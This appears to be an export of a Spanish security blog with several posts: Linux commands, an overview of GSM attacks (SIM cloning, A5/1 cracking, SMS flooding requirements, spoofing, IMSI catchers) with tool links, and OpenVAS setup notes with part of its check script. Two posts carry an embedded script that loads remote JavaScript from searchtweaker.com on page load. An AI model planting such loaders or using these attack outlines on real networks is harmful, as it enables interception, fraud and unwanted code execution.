<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">wget -r <a href="http://www.example.com/" target="_blank">www.example.com</a>: descargar un sitio web completo.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">wget -c <a href="http://www.example.com/file.iso" target="_blank">www.example.com/file.iso</a>: descargar un fichero con la posibilidad de parar la descargar y reanudar más tarde.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">echo
‘wget -c <a href="http://www.example.com/files.iso" target="_blank">www.example.com/files.iso</a>‘ | at 09:00: Comenzar una descarga a
cualquier hora. En este caso empezaría a las 9 horas.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">ldd /usr/bin/ssh: mostrar las bibliotecas compartidas requeridas por el programa ssh.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">alias hh=’history’: colocar un alias para un commando –hh= Historial.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">chsh: cambiar el comando Shell.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">chsh –list-shells: es un comando adecuado para saber si tienes que hacer remoto en otra terminal.</span></li>
<li style="border: 0px none; margin: 0px 0px 7px; padding: 0px; text-align: justify;"><span style="font-family: Times,Times New Roman,serif;">who
-a: mostrar quien está registrado, e imprimir hora del último sistema
de importación, procesos muertos, procesos de registro de sistema,
procesos activos producidos por init, funcionamiento actual y últimos
cambios del reloj del sistema. </span><h3>
<span style="font-weight: normal;">..........................(<span style="font-size: small;">Un gran aporte de Natanael Garrido-Argentina</span>).........................<wbr></wbr>..............</span></h3>
</li>
</ul>
</div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-28366504160932793352013-01-15T00:14:00.003+01:002013-01-15T01:35:15.618+01:00Tipos de Ataques a Redes Móviles<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: justify;">
Antes que nada quisiera dedicar estas lineas aun grande del internet :<br />
<h1>
Aaron Swartz ... </h1>
No en vano el inventor de la World Wide Web, Sir Tim Berners-Lee,
tuiteó: "Aaron está muerto. Caminantes del mundo, perdimos a uno de
nuestros sabios. Hackers por derecho, perdimos a uno de los nuestros.
Padres todos, perdimos a un hijo. Lloremos".<br />
<br />
Bueno ahi les dejo algo de información y espero que les sea de muchísima utilidad , pero eso sí el empleo que le den , serán ustedes los responsables, como tema de investigación es fenomenal, existen diversos tipos de ataques que han sido demostrados pero a pesar de haber sido detectadas dichas vulnerabilidades aún la migración del algoritmo utilizado conllevaría elevados costes para las compañías telefónicas, que tendría que reconfigurar el servicio, y posiblemente tener que cambiar incluso ciertos terminales de usuario y/o tarjetas SIM.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b><u>1)Ataques al SIM:</u></b> Persiguen romper los algoritmos de cifrado de la SIM (A3+A8), con objeto de acceder a la clave de la SIM Ki así como al número de IMSI, normalmente con el objetivo de conseguir clonar la tarjeta SIM y realizar llamadas de forma fraudulenta.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>Algoritmo COMP128:</b><br />
<br />
Inicialmente se mantuvo en privado desde 1991 hasta 1997, cuando se filtró gran parte del código del mismo; el resto de código que faltaba se obtuvo por ingeniería inversa.<br />
En Abril de 1998 la SDA (Smartcard Developer Association) conjuntamente con dos investigadores de la U.C. de Berkeley (Wagner/Goldberg), hicieron público el primer ataque al COMP128.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Woronscan es una herramienta para el clonado de tarjetas SIM basado en debilidades del algoritmo COMP128, requiere acceso físico a la tarjeta. </div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Spy-Wokiscan: Troyano que se embebe en software para clonado de SIMs dentro de ciertos paquetes del WoronScan, y que una vez se obtiene la clave, el IMSI envía dicha información a cuentas de correo rusas. Download:</div>
<div style="text-align: justify;">
<br />
<b><span style="color: yellow;">http://www.mcafee.com/threat-intelligence/malware/default.aspx?id=142989</span></b></div>
<div style="text-align: justify;">
<br />
<u><b>2)Ataques a la señal de radio</b></u>:<br />
<br />
Persiguen conseguir acceder a información confidencial de llamadas, “sniffando” la<b> </b>señal de radio entre la MS y las BTS.<br />
No hay autenticación en la red, por tanto ataques de “Man in the middle” son factibles. Esta señal está cifrada con el algoritmo A5/1, utilizando la clave de sesión generada Kc.<br />
Alex Biryukov, Adi Ahamir y David Wagner, publican un esquema que rompe el algoritmo robusto A5/1, con dos minutos de datos de llamada interceptada; el tiempo de ataque duró solo 1 segundo: <br />
<br />
<span style="color: yellow;"><b>http://cryptome.org/a51-bsw.htm </b></span><br />
<br />
<u><b>3)Ataques A5/1 diciembre 2009 (Karsten Nohl, Chris Paget):</b></u><br />
<br />
Ingredientes necesarios para el éxito (Opensource):<br />
<b>3.1. </b>Máquinas de procesamiento distribuido de alto rendimiento (grid computing):<br />
<br />
<b><span style="color: yellow;"> Nvidia GTX280: 500 chains/s</span></b><br />
<b><span style="color: yellow;"> PS3 Cell: 500 chains/s</span></b><br />
<b><span style="color: yellow;"> ATI HD5870: 500 chains/s</span></b><br />
<br />
<b>3.2</b>.Software de Parametrización adecuado disponible en:<br />
<br />
<br />
<b><span style="color: yellow;"> https://srlabs.de/decrypting_gsm/</span></b><br />
<span style="color: yellow;"><b> Tablas generadas y disponibles en Bittorrent.<br /> http://reflextor.com/e100torrents/</b></span><br />
<span style="color: yellow;"><b> Un portátil y un equipo de RF .</b></span><br />
<br />
<b>3.3.</b>Ya no es necesario ni siquiera el equipamiento indicado, es posible hacerlo con<b> </b>dispositivos móviles de <b></b>$15 que actúan como sniffers corriendo un software de código abierto debidamente modificado.<br />
<br />
<span style="color: yellow;"><b>http://bb.osmocom.org/trac/</b></span><br />
<br />
De momento sólo compatible con algunos móviles antiguos de Motorola y Sony Ericsson.<br />
Demostrado en la 27th Chaos Communication Congress el pasado 28 de diciembre de 2010:<br />
<br />
<b><span style="color: yellow;"> http://events.ccc.de/congress/2010/Fahrplan/attachments/1783_101228.27C3.GSM-Sniffing.Nohl_Munaut.pdf.</span></b></div>
<div style="text-align: justify;">
<br />
José Picó y David Perez de Taddong presentaron la demostración práctica en la RootedCON de 2011:<br />
<br />
<span style="color: yellow;"><b>http://www.slideshare.net/rootedcon/david-prez-jos-pic-un-ataque-prctico-contracomunicaciones-mviles-rootedcon-2011<br /> </b></span><br />
<span style="color: yellow;"><b>http://vimeo.com/27258284</b></span><br />
<br />
Soluciones al atque de A5/1<br />
Solución actual: Aplicaciones de cifrado End-to-End: <b><span style="color: yellow;">http://www.cellcrypt.com</span></b><br />
<b><span style="color: yellow;"><br /></span></b>
<b><u>4)Ataques a la red de señalización</u></b><br />
<b><br /></b>Las transmisiones solamente están cifradas entre el MS y las BTS, el resto tráfico tras las BTS está sin cifrar. Los protocolos dentro de la red del operador (BSSAP,MAP) están sin cifrar, por tanto cualquiera con acceso a la red SS7 puede leer y/o modificar la información en el aire.Por tanto si un hacker consigue acceder a la red de señalización, puede obtener TODA la información sobre las llamadas.Si el hacker accediera a la HLR, podría ser capaz de obtener todas las Ki de todoslos clientes de una red. A pesar de que los algoritmos de cifrado mejoren, la arquitectura de la red GSM seguirá siendo vulnerable a ataques desde dentro y contra la red backbone del operador.</div>
<div style="text-align: justify;">
<br />
<u><b>5)Ataques de SMS DoS</b></u><br />
<br />
Persiguen denegar el servicio de SMS e incluso de voz de un operador, mediante la saturación de canales de tráfico de la red radio, en concreto los canales de control. Como consecuencia de la cada vez mayor interconexión con Internet de los servicios de móvil. En noviembre de 2005, investigadores de la Universidad de Pensilvania publicaron un estudio al respecto, sobre lo sencillo que sería realizar un ataque de DoS sobre toda la ciudad de Manhattan o de Washington D.C. utilizando únicamente un cablemodem Con una botnet se podrían atacar todas las comunicaciones de USA:<br />
<br />
<span style="color: yellow;"><b>http://smsanalysis.org/smsanalysis.pdf</b></span><br />
<br />
Requisitos para la realización de este tipo de ataques:<br />
-Disponer de un servicio de envío de SMS por Internet.<br />
-Disponer de una lista de Objetivos (móviles) fiable Diferentes formas de obtenerla: (Web scraping, Bluetooth, Contactos sincronizados robados por troyanos,etc…).<br />
-Conocer la política de entrega de SMS del proveedor: Buffer de mensajes, tipo de lista de entrega: LIFO, FIFO y plazo de retención.<br />
-Lanzar ataque distribuido a través de envío simultáneo de SMS por medio de portales SMS disponibles, causando la saturación de los canales de control en la transmisión.<br />
<br />
<u><b>6)Ataques SMS: SMS Spoofing</b></u><br />
<br />
¿Cómo obtienen beneficio los atacantes del SMS spoofing? Normalmente mediante ingeniería social, animando a llamar a números de alto coste o a acceder a páginas web con malware albergado. Asimismo, potencialmente podrían utilizarse para envío de comunicados erróneos, por ejemplo de servicios bancarios con objeto de animar a los usuarios a facilitar información sensible Ligado al SMShing.<br />
<br />
Caso reciente: Atacante envía grandes volúmenes de SMS fraudulentos a clientes de un proveedor italiano a través de un conocido proveedor de móvil. El mensaje solicitaba a los abonados llamar a un número de voz de tarificación adicional. Los abonados italianos pagaban al operador italiano por llamadas de alto coste, y el<br />
operador italiano pagaba la parte proporcional de beneficios a un proveedor del servicio, que a su vez repercutía en el atacante. A los abonados inocentes del proveedor de móvil, cuyos números origen habían<br />
sido falsificados, les facturaban cada mensaje SMS en roaming. El operador se dio cuenta a tiempo y paró la facturación antes de que llegaran a los clientes. Impactos para el negocio: Insatisfacción de clientes, pérdidas derivadas de los costes de envío internacional de móvil, costes a la red receptora de procesamiento<br />
de los SMS Mala imagen para la red receptora y para la red “falsificada”.<br />
<br />
<u><b>7)Ataques Man-in-the-Middle:</b></u><br />
<br />
Permite obtener información sensible de un móvil objetivo utilizando para ello un dispositivo, IMSI catcher o VBTS (Virtual Base Transceiver Station), que emitiendo con una mayor potencia que la antena legítima del operador induce al dispositivo móvil a registrarse en esta BTS falsa, con objeto de capturar<br />
información sensible del abonado. Permite obtener los IMSI, IMEI de los móviles, la localización de los mismos así como potencialmente poder escuchar y/o interceptar conversaciones telefónicas.<br />
<br />
Utilizado habitualmente por las autoridades para llevar a cabo investigaciones. El famoso hacker Kevin Mitnick fue localizado utilizando una técnica similar en los años 90 por el FBI, ayudados por una antena de elevada potencia montada sobre un camión, denominada “triggerfish”. (En España esto violaría el artículo 18.3 de la constitución, deber de secreto de las comunicaciones):<br />
<br />
<span style="color: yellow;"><b>http://www.essortment.com/all/kevinmitnickco_rmap.htm</b></span><br />
<br />
Equipamiento avanzado para espionaje, mediante la técnica de “IMSI catcher” disponible a la venta en Internet:<br />
<br />
<span style="color: yellow;"><b>http://www.ukspyequipment.com/more/on/details/00052</b></span></div>
<div style="text-align: justify;">
Bueno muchachos a seguir investigando , que por seguro encontrarán mejores herramientas y técnicas.<br />
<br /></div>
<script id="FoxLingoJs">(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();</script></div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-89194362459749992702013-01-11T02:07:00.003+01:002013-01-12T02:14:07.497+01:00La utilización y empleo de OpenVAS - 2da parte<div dir="ltr" style="text-align: left;" trbidi="on">
Se acerca el gran día, sábado 12 de enero del 2013 ....<br />
<br />
Bueno, volviendo con el tema respecto al escáner de vulnerabilidades OpenVAS , lo he probado y definitivamente dejenme recomendarle OpenVAS el merecido sucesor de NESSUS (que durante muchísimos años fue uno de los proyectos OPEN SOURCE con gran éxito) por lo que a continuación detallaré parte de los comandos para su utilización.<br />
<br />
Descargue de la página de OpenVAS la versión más actualizada, Ubuntu y openSUSE tienen sus propios repositorios OBS, losadministradores de Ubuntu y Debian necesitan instalar un paquete,<br />
<br />
<span style="color: yellow;"><b>sudo apt-get install -y install python-software-properties.</b></span><br />
<br />
antes de integrar el repositorio el administrador puede añadir el paquete fuente de la siguiente forma en ubuntu:<br />
<br />
<span style="color: yellow;"><b>sudo add-apt-repository "deb http://download.opensuse.org/repositories/security:/OpenVAS:/STABLE:/v4/xUbuntu_11.10/ ./"</b></span><br />
<br />
Usar los repositorios de seguridad de openSUSE requiere tener una llave GnuPG:<br />
<br />
<span style="color: yellow;"><b>sudo apt-key adv --Keyserver hkp://keys.gnupg.net --recv-keys BED1E87979EAFD54</b></span><br />
<br />
actualizar las versiones actuales: <span style="color: yellow;"><b>sudo apt-get update</b></span><br />
<br />
<span style="color: white;">Instalamos los paquetes deseados usando apt-get o con un gestor de paquetes gráfico.</span><br />
<br />
<span style="color: yellow;"><b>sudo apt-get -y install </b></span><br />
<span style="color: yellow;"><b>openvas -manager</b></span><br />
<span style="color: yellow;"><b>openvas-scanner </b></span><br />
<span style="color: yellow;"><b>openvas-administrador</b></span><br />
<span style="color: yellow;"><b>greenbone-security-assistant sqlite3</b></span><br />
<span style="color: yellow;"><b>xsltproc</b></span><br />
<span style="color: yellow;"><b><br /></b></span><span style="color: white;">
Si añadimos el repositorio en el cliente podemos instalar los programas necesarios allí mismo</span><br />
<br />
<span style="color: yellow;"><b>sudo apt-get install gsd openvas-cli</b></span><br />
<br />
<span style="color: white;">Para encriptar la comunicación debemos generar los certificados de la forma siguiente:</span><br />
<br />
<b><span style="color: yellow;">test -e /var/lib/openvas/CA/cacert.pem || sudo openvas-mkcert -q</span></b><br />
<br />
<span style="color: white;">El comando unix test comprueba si existe un certificado de no ser así inicia el script apropiado . Ejecutamos:</span><br />
<br />
<b><span style="color: yellow;">sudo openvas-nvt-nsync</span></b><br />
<br />
<span style="color: white;">Creado nuestro usuario (destroyer) generaremos un certificado de cliente haciendo lo siguiente:</span><br />
<br />
<span style="color: yellow;"><b>test -e/var/lib/openvas/users/destroyer || sudo openvas-mkcert-client -n destroyer -i</b></span><br />
<span style="color: white;"><br /></span>
<span style="color: white;">Activamos los servicios de escáner (OpenVAS open-vassd, OpenVAS MAnager openvasmd y OpenVAS Administrator openvasad)</span><br />
<br />
<span style="color: yellow;"><span style="color: black;"> <b><span style="color: yellow;">sudo openvassd</span></b></span></span><br />
<b><span style="color: yellow;">sudo openvasmd --migrate </span></b><br />
<b><span style="color: yellow;">sudo openvasmd --rebuild</span></b><br />
<b><span style="color: yellow;">sudo killall openvassd</span></b><br />
<span style="color: yellow;"><b>sleep 15</b></span><br />
<br />
En el futuro podremos lanzar los servicios necesarios con estos comandos:<br />
<br />
sudo service openvas-scanner start<br />
sudo service openvas-manager start<br />
sudo service openvas-administrator restart<br />
<br />
Para utilizar la intefaz web GSA, necesitamos utilizar su servicio escribiendo gsad. Asumimos que hemos instalado el paquete greenbone-security-assistant en el servidor.<br />
<br />
sudo /etc/init.d/greenbone-security-assistant start<br />
<br />
En la versión 4 necesitamos crear un usuario administrativo <br />
<br />
<span style="color: yellow;"><b>test -e/var/lib/openvas/users/admin || sudo openvasad -c add_user -n admin -r Admin</b></span><br />
<br />
Los administradores puede trabajar con OpenVAS de las siguientes formas : sea por linea de comando,por la aplicación de escritorio gsd o por la interfaz WEB GSA (http://OpenVAS-server:9392)<br />
Para poder trabajar con la interfaz web debemos antes modificar la configuración de /etc/default/greenbone-security-assitant. Cambiando GSA_ADRESS=127.0.0.1 por la direcci'on IP "CORRECTA".<br />
En el caso de no querer encriptar las comunicaciones entre la interfaz web y el gestor en la red local añadimos<b><span style="color: yellow;"> HTTP_ONLY=1</span></b> en el Inicio del Script . A continuación en /etc/init.d/greenbone-security-assistant reemplazaremos la linea<br />
<br />
<span style="color: yellow;"><b>[ "$GSA_ADDRESS"] && DAEMONOPTS="-listen= $GSA_ADDRESS"</b></span><br />
<br />
con<br />
<br />
<span style="color: yellow;"><b>[ "$GSA_ADDRESS"] && DAEMONOPTS="--http-only"</b></span><br />
<br />
reiniciamos GSA<br />
<br />
<span style="color: yellow;"><b>/etc/init.d/greenbone-security-assitant restart</b></span><br />
<br />
Podemos tambien trabajar Greenbone Security Desktop pero como usuario normal, no como root, por lo que escribimos: <span style="color: yellow;"><b>gsd </b></span>en el host del cliente y nos identificamos.<br />
<br />
A disfrutarlo ... y a su vez un merecido agradecimiento a los desarrolladores de Greenbone por su gran aporte a la comunidad.<br />
<br />
<br />
<script id="FoxLingoJs">(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();</script></div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-43995919383940604332013-01-08T03:26:00.000+01:002013-01-08T03:30:21.469+01:00Seguridad en Redes-OpenVAS"<span class="userContent">Volvemos de las REPARADORAS vacaciones con Buffer overflows, format strings, race conditions impartido por Iñaki Echevarria", Algo motivador no! ; así es como habian publicado los administradores del MUSI en la página del Facebook!, pero la verdad considero que las vaciones fueron DESGASTADORAS, el Poteo con los amigos, el Botellón , el estar pensando en la brujita que no me llama! wauuu... que cansado estoy... Pero el sorpredente café bien cargado y el vaso de Coca Kola, han dominado mis ojos cansados ;por lo que Peroma Project ya empezó a dar sus pataditas, y con el apoyo de gente como ustedes muy pronto nacerá. Leyendo uno que otro artículo encontré uno muy interesante de la cual en los próximos blogs una vez haya experimentado con la aplicación les detallaré sobre la instalación y arquitectura de Open VAS. </span><br />
<br />
<span class="userContent">Open Vulnerability Assessment System (Open VAS) es. actualmente el codigo abierto para la evaluación de la seguridad más expandido y más profesional en el mercado.El programa es un subproducto de Nessus (antes del 2005). Nessus se inicio como software libre, mutando a un producto con licencia comercial en 2005 al completarse su versión 3.0 . La compañia de Deraison, Tenable Security, se ha concentrado desde entonces en ofrecer soporte técnico para Nessus. La utilidad de un escáner de vulnerabilidades como Open VAS depende de las actualizaciones de su servicio de fuente de datos, que proporciona pruebas de vulnerabilidades de red (NVTs) en un formato especial. Actualmente Open VAS proporciona unas 25,000 NVTs.</span><br />
<br />
<span class="userContent">Los desarrolladores de Nessus donaron amablemente a la comunidad de software libre el código de la versión 2,2 en 2005 , llevando durante 7 años bajo la licencia de GLP. El proyecto sucesor denominado Open VAS está en su mayoria programado en C, con la excepción de algunos modulos en C++ , y está disponible bajo la licencia GPLv2. En este campo Nessus llegó a la versión 5,0.</span><br />
<br />
<span class="userContent">Algunas de las herramientas y complementos más interesantes para Open VAS, conocido como Greenbone Security Solutions, incluye la interfaz web Greenbone Security Assistant (GSA), la interfaz de escritorio Vulnerability Management Control Center (vmcc) o la interfaz avanzada de linea de comandos Vulnerability Management Batch Process Integration(vmbpi), así como la Greenbone Security Explorer, una aplicación web interactiva e independiente, basada en mapas, diseñada para el análisis de informes. Dependiendo de la distribución, las utilidades de Greenbone está usualmente disponibles desde el repositorio de Open VAS o como parte del respectivo paquete.</span><br />
<span class="userContent">Solución de Problemas:</span><br />
<span class="userContent">En el momento en que un componente de Open VAS comienza a fallar u ocurren otros problemas, el equipo de Open VAS proporciona un script que comprueba la instalación y nos da información para solucionar problemas. Copiamos y pegamos el script en un editor de nuestra elección, guardarlo como openvas-check-setup, luego escribir el comando chmod +x </span><span class="userContent"><span class="userContent">openvas-check-setup comprueba la instalación de OpenVAS 4 y </span></span><span class="userContent">./openvas-check-setup -v5 ayuda con OpenVAS 5 . Este script comprueba si los servicios necesarios de Open VAS están funcionando y si están aceptando conexiones en los puertos adecuados.</span><br />
<br />
#############################CódigodeComprobación#############################################<br />
<pre>#!/bin/sh
# OpenVAS
# $Id$
# Description: Script for checking completeness and readiness
# of OpenVAS.
#
# Authors:
# Jan-Oliver Wagner <jan-oliver.wagner@greenbone.net>
# Michael Wiegand <michael.wiegand@greenbone.net>
#
# Copyright:
# Copyright (C) 2011, 2012 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# or at your option any later version, as published by the
# Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
LOG=/tmp/openvas-check-setup.log
CHECKVERSION=2.2.0
if [ "$1" = "--server" -o "$2" = "--server" ]
then
MODE="server"
else
MODE="desktop"
fi
# Current default is OpenVAS-5:
VER="5"
SCANNER_MAJOR="3"
SCANNER_MINOR="3"
MANAGER_MAJOR="3"
MANAGER_MINOR="0"
ADMINISTRATOR_MAJOR="1"
ADMINISTRATOR_MINOR="2"
GSA_MAJOR="3"
GSA_MINOR="0"
CLI_MAJOR="1"
CLI_MINOR="1"
GSD_MAJOR="1"
GSD_MINOR="2"
if [ "$1" = "--v6" -o "$2" = "--v6" ]
then
VER="6"
SCANNER_MAJOR="3"
SCANNER_MINOR="4"
MANAGER_MAJOR="4"
MANAGER_MINOR="0"
ADMINISTRATOR_MAJOR="1"
ADMINISTRATOR_MINOR="2"
GSA_MAJOR="4"
GSA_MINOR="0"
CLI_MAJOR="1"
CLI_MINOR="1"
GSD_MAJOR="1"
GSD_MINOR="2"
elif [ "$1" = "--v5" -o "$2" = "--v5" ]
then
VER="5"
SCANNER_MAJOR="3"
SCANNER_MINOR="3"
MANAGER_MAJOR="3"
MANAGER_MINOR="0"
ADMINISTRATOR_MAJOR="1"
ADMINISTRATOR_MINOR="2"
GSA_MAJOR="3"
GSA_MINOR="0"
CLI_MAJOR="1"
CLI_MINOR="1"
GSD_MAJOR="1"
GSD_MINOR="2"
elif [ "$1" = "--v4" -o "$2" = "--v4" ]
then
VER="4"
SCANNER_MAJOR="3"
SCANNER_MINOR="2"
MANAGER_MAJOR="2"
MANAGER_MINOR="0"
ADMINISTRATOR_MAJOR="1"
ADMINISTRATOR_MINOR="1"
GSA_MAJOR="2"
GSA_MINOR="0"
CLI_MAJOR="1"
CLI_MINOR="1"
GSD_MAJOR="1"
GSD_MINOR="2"
fi
echo "openvas-check-setup $CHECKVERSION"
echo " Test completeness and readiness of OpenVAS-$VER"
if [ "$VER" = "4" -o "$VER" = "6" ]
then
echo " (add '--v5' if you want to check for OpenVAS-5)"
fi
echo ""
echo " Please report us any non-detected problems and"
echo " help us to improve this check routine:"
echo " http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss"
echo ""
echo " Send us the log-file ($LOG) to help analyze the problem."
echo ""
if [ "$MODE" = "desktop" ]
then
echo " Use the parameter --server to skip checks for client tools"
echo " like GSD and OpenVAS-CLI."
echo ""
fi
log_and_print ()
{
echo " " $1
echo " " $1 >> $LOG
}
check_failed ()
{
echo ""
echo " ERROR: Your OpenVAS-$VER installation is not yet complete!"
echo ""
echo "Please follow the instructions marked with FIX above and run this"
echo "script again."
echo ""
echo "If you think this result is wrong, please report your observation"
echo "and help us to improve this check routine:"
echo "http://lists.wald.intevation.org/mailman/listinfo/openvas-discuss"
echo "Please attach the log-file ($LOG) to help us analyze the problem."
echo ""
exit 1
}
# LOG start
echo "openvas-check-setup $CHECKVERSION" > $LOG
echo " Mode: $MODE" >> $LOG
echo " Date: " `date -R` >> $LOG
echo "" >> $LOG
echo "Step 1: Checking OpenVAS Scanner ... "
echo "Checking for old OpenVAS Scanner <= 2.0 ..." >> $LOG
openvasd -V >> $LOG 2>&1
if [ $? -eq 0 ]
then
log_and_print "ERROR: Old version of OpenVAS Scanner detected."
log_and_print "FIX: Please remove the installation of the old OpenVAS Scanner (openvasd)."
check_failed
fi
echo "" >> $LOG
echo "Checking presence of OpenVAS Scanner ..." >> $LOG
openvassd --version >> $LOG 2>&1
if [ $? -ne 0 ]
then
log_and_print "ERROR: No OpenVAS Scanner (openvassd) found."
log_and_print "FIX: Please install OpenVAS Scanner."
check_failed
fi
echo "" >> $LOG
echo "Checking OpenVAS Scanner version ..." >> $LOG
VERSION=`openvassd --version | head -1 | sed -e "s/OpenVAS Scanner //"`
if [ `echo $VERSION | grep "^$SCANNER_MAJOR\.$SCANNER_MINOR" | wc -l` -ne "1" ]
then
log_and_print "ERROR: OpenVAS Scanner too old or too new: $VERSION"
log_and_print "FIX: Please install OpenVAS Scanner $SCANNER_MAJOR.$SCANNER_MINOR."
check_failed
fi
echo "" >> $LOG
log_and_print "OK: OpenVAS Scanner is present in version $VERSION."
openvassd -s >> $LOG
echo "Checking OpenVAS Scanner CA cert ..." >> $LOG
CAFILE=`openvassd -s | grep ca_file | sed -e "s/^ca_file = //"`
if [ ! -e $CAFILE ]
then
log_and_print "ERROR: No CA certificate file of OpenVAS Scanner found."
log_and_print "FIX: Run 'openvas-mkcert'."
check_failed
fi
echo "" >> $LOG
log_and_print "OK: OpenVAS Scanner CA Certificate is present as $CAFILE."
echo "Checking NVT collection ..." >> $LOG
PLUGINSFOLDER=`openvassd -s | grep plugins_folder | sed -e "s/^plugins_folder = //"`
if [ ! -d $PLUGINSFOLDER ]
then
log_and_print "ERROR: Directory containing the NVT collection not found."
log_and_print "FIX: Run a synchronization script like openvas-nvt-sync or greenbone-nvt-sync."
check_failed
fi
OLDPLUGINSFOLDER=`echo "$PLUGINSFOLDER" | grep -q -v "/var/" 2>&1`
if [ $? -eq 0 ]
then
CONFFILE=`openvassd -s | grep config_file | sed -e "s/^config_file = //"`
log_and_print "ERROR: Your OpenVAS Scanner configuration seems to be from a pre-OpenVAS-4 installation and contains non-FHS compliant paths."
log_and_print "FIX: Delete your OpenVAS Scanner Configuration file ($CONFFILE)."
check_failed
fi
NVTCOUNT=`find $PLUGINSFOLDER -name "*nasl" | wc -l`
if [ $NVTCOUNT -lt 10 ]
then
log_and_print "ERROR: The NVT collection is very small."
log_and_print "FIX: Run a synchronization script like openvas-nvt-sync or greenbone-nvt-sync."
check_failed
fi
echo "" >> $LOG
log_and_print "OK: NVT collection in $PLUGINSFOLDER contains $NVTCOUNT NVTs."
echo "Checking status of signature checking in OpenVAS Scanner ..." >> $LOG
NOSIGCHECK=`openvassd -s | grep nasl_no_signature_check | sed -e "s/^nasl_no_signature_check = //"`
if [ $NOSIGCHECK != "no" ]
then
log_and_print "WARNING: Signature checking of NVTs is not enabled in OpenVAS Scanner."
log_and_print "SUGGEST: Enable signature checking (see http://www.openvas.org/trusted-nvts.html)."
else
log_and_print "OK: Signature checking of NVTs is enabled in OpenVAS Scanner."
fi
echo "" >> $LOG
echo "Step 2: Checking OpenVAS Manager ... "
echo "Checking presence of OpenVAS Manager ..." >> $LOG
openvasmd --version >> $LOG 2>&1
if [ $? -ne 0 ]
then
log_and_print "ERROR: No OpenVAS Manager (openvasmd) found."
log_and_print "FIX: Please install OpenVAS Manager."
check_failed
fi
echo "" >> $LOG
VERSION=`openvasmd --version | head -1 | sed -e "s/OpenVAS Manager //"`
if [ `echo $VERSION | grep "^$MANAGER_MAJOR\.$MANAGER_MINOR" | wc -l` -ne "1" ]
then
log_and_print "ERROR: OpenVAS Manager too old or too new: $VERSION"
log_and_print "FIX: Please install OpenVAS Manager $MANAGER_MAJOR.$MANAGER_MINOR."
check_failed
fi
echo "" >> $LOG
log_and_print "OK: OpenVAS Manager is present in version $VERSION."
echo "Checking OpenVAS Manager client certificate ..." >> $LOG
CERTDIR=`dirname $CAFILE`
CLIENTCERTFILE="$CERTDIR/clientcert.pem"
if [ ! -e $CLIENTCERTFILE ]
then
log_and_print "ERROR: No client certificate file of OpenVAS Manager found."
log_and_print "FIX: Run 'openvas-mkcert-client -n om -i'"
check_failed
fi
echo "" >> $LOG
log_and_print "OK: OpenVAS Manager client certificate is present as $CLIENTCERTFILE."
echo "Checking OpenVAS Manager database ..." >> $LOG
# Guess openvas state dir from $PLUGINSFOLDER
STATEDIR=`dirname $PLUGINSFOLDER`
TASKSDB="$STATEDIR/mgr/tasks.db"
if [ ! -e $TASKSDB ]
then
log_and_print "ERROR: No OpenVAS Manager database found. (Tried: $TASKSDB)"
log_and_print "FIX: Run 'openvasmd --rebuild' while OpenVAS Scanner is running."
check_failed
fi
echo "" >> $LOG
log_and_print "OK: OpenVAS Manager database found in $TASKSDB."
echo "Checking access rights of OpenVAS Manager database ..." >> $LOG
TASKSDBPERMS=`stat -c "%a" "$TASKSDB"`
if [ "$TASKSDBPERMS" != "600" ]
then
log_and_print "ERROR: The access rights of the OpenVAS Manager database are incorrect."
log_and_print "FIX: Run 'chmod 600 $TASKSDB'."
check_failed
fi
echo "" >> $LOG
log_and_print "OK: Access rights for the OpenVAS Manager database are correct."
echo "Checking sqlite3 presence ..." >> $LOG
SQLITE3=`type sqlite3 2> /dev/null`
if [ $? -ne 0 ]
then
log_and_print "WARNING: Could not find sqlite3 binary, extended manager checks of the OpenVAS Manager installation are disabled."
log_and_print "SUGGEST: Install sqlite3."
HAVE_SQLITE=0
else
log_and_print "OK: sqlite3 found, extended checks of the OpenVAS Manager installation enabled."
HAVE_SQLITE=1
fi
echo "" >> $LOG
